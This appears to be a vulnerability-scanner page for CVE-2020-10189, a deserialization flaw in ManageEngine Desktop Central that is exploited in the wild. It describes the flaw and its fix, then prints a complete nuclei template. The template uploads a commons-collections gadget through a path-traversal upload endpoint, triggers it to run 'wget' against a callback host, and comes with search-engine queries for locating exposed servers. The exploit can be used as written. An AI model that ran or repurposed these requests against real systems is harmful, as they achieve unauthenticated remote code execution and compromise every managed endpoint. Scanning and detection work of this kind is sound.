ManageEngine Desktop Central Java Deserialization

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity

9.8CVSS score

99.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Zoho ManageEngine Desktop Central before 10.0.474 is vulnerable to a deserialization of untrusted data, which permits remote code execution.

Impact

Unauthenticated attackers can execute arbitrary code on Zoho ManageEngine Desktop Central servers, leading to complete system compromise and access to all managed endpoints.

Fix

Upgrade to ManageEngine Desktop Central Build 10.0.474 or later.

How to confirm it

Send: POST /mdm/client/v1/mdmLogUploader?udid=si%5C..%5C..%5C..%5Cwebapps%5CDesktopCentral%5C_chart&filename=logger.zip
Positive when: status 200
Send: GET /cewolf/?img=%5Clogger.zip
Positive when: contains in interactsh_protocol "dns" AND status 200

Run it with nuclei: nuclei -id CVE-2020-10189 -u <target>

The full check

id: CVE-2020-10189

info:
  name: ManageEngine Desktop Central Java Deserialization
  author: king-alexander
  severity: critical
  description: |
    Zoho ManageEngine Desktop Central before 10.0.474 is vulnerable to a deserialization of untrusted data, which permits remote code execution.
  impact: |
    Unauthenticated attackers can execute arbitrary code on Zoho ManageEngine Desktop Central servers, leading to complete system compromise and access to all managed endpoints.
  remediation: |
    Upgrade to ManageEngine Desktop Central Build 10.0.474 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10189
    - https://blog.reconinfosec.com/analysis-of-exploitation-cve-2020-10189
    - https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html
    - https://y4er.com/posts/cve-2020-10189-zoho-manageengine-rce/
    - https://cwe.mitre.org/data/definitions/502.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-10189
    cwe-id: CWE-502
    epss-score: 0.99941
    epss-percentile: 0.99972
    cpe: cpe:2.3:a:zohocorp:manageengine_desktop_central:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zohocorp
    product: manageengine_desktop_central
    fofa-query:
      - body="manageengine desktop central 10"
      - title="manageengine desktop central 10"
      - app="zoho-manageengine-desktop"
    shodan-query: http.title:"manageengine desktop central 10"
    google-query: intitle:"manageengine desktop central 10"
  tags: cve,cve2020,kev,zoho,manageengine,deserialization,intrusive,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /mdm/client/v1/mdmLogUploader?udid=si%5C..%5C..%5C..%5Cwebapps%5CDesktopCentral%5C_chart&filename=logger.zip HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/octet-stream

        {{generate_java_gadget("commons-collections3.1","wget http://{{interactsh-url}}","raw")}}

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        GET /cewolf/?img=%5Clogger.zip HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from